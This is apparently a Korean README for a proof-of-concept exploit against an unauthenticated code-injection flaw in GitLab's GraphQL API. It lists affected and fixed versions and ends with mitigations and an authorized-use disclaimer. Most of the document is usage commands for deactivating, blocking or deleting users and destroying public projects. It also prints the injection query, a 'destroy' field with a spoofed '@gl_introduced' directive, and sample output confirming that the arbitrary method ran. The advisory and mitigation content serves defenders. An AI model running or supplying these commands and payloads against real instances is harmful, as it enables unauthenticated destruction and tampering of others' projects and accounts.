
GitLab의 GraphQL API에서 인증되지 않은 원격 코드 삽입을 위한 개념 증명 익스플로잇으로, 제작된 쿼리를 사용하여 공개 프로젝트와 사용자를 수정하거나 삭제합니다.
GitLab GraphQL 계층에서의 인증되지 않은 원격 코드 인젝션 취약점으로, 공격자가 단일 조작된 쿼리로 공개 프로젝트와 사용자 데이터를 수정하거나 삭제할 수 있습니다. 인증이 필요 없고, 사용자 상호작용이 없으며, 특별한 권한도 필요하지 않습니다.
| 심각도 | 9.4 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| 영향받는 버전 | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| 수정 버전 | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 공개일 | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
이 익스플로잇은 폴백 필드 코드 인젝션(fallback-field code injection) 입니다. GraphQL 쿼리에서 공격자가 선택한 필드 이름이 기본 ActiveRecord 모델(Project, User, ...)에 대한 임의의 public_send 호출로 변환됩니다. 폴백 필드는 쿼리가 "future" @gl_introduced 디렉티브도 함께 포함할 때만 생성되므로, 이 디렉티브가 인젝션의 기본 수단이 됩니다.
| 시리즈 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
이 스크립트는 최선형 버전 탐지를 수행하며(/api/v4/version(토큰 사용), /help, /users/sign_in) 대상이 영향받는 범위에 포함되는지 보고합니다.
touch 페이로드를 전송합니다. 취약한 인스턴스는 "touch": true를 반환하고, 패치된 인스턴스는 Field 'touch' doesn't exist on type 'Project'를 반환합니다./api/graphql 인트로스펙션)에 gl_introduced 디렉티브를 노출합니다. 패치된 인스턴스도 여전히 이를 노출할 수 있으므로, 동작 확인이 결정적입니다.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| 옵션 | 설명 |
|---|---|
--url | GitLab 기본 URL (예: https://gitlab.example.com) |
--project | 공개 프로젝트의 전체 경로 (예: group/subgroup/project) |
--user | 공개 사용자의 사용자 이름 (예: alice) |
--mode | check (기본값, 무해한 touch) · modify (사용자: deactivate, 프로젝트: touch) · destroy · delete · custom |
--method | --mode custom에서 사용할 메서드 이름 (유효한 GraphQL 이름이어야 함) |
--token | 선택적 GitLab PRIVATE-TOKEN (버전 탐지 / 인증) |
--version | 탐지를 건너뛰고 버전 문자열을 강제 지정 |
--insecure | TLS 인증서 검증 비활성화 |
파괴적 모드(modify, destroy, delete)는 대화형 yes 확인이 필요합니다.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
패치된 응답은 일반적인 GraphQL 검증 오류입니다:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
대상은 공개 상태여야 합니다(프로젝트 공개 범위가 Public이거나, GraphQL을 통해 프로필이 공개적으로 확인 가능한 사용자). 부모가 null이면 메서드는 호출되지 않습니다.
/api/graphql에 대한 네트워크 접근을 제한하거나, 필요하지 않다면 @gl_introduced 버전 필터 기능을 비활성화하세요.e283c6ad "폴백 필드 해석 시 객체 메서드 호출 방지"이 PoC는 방어적 보안 연구와 승인된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가가 없는 시스템에서 실행하지 마세요.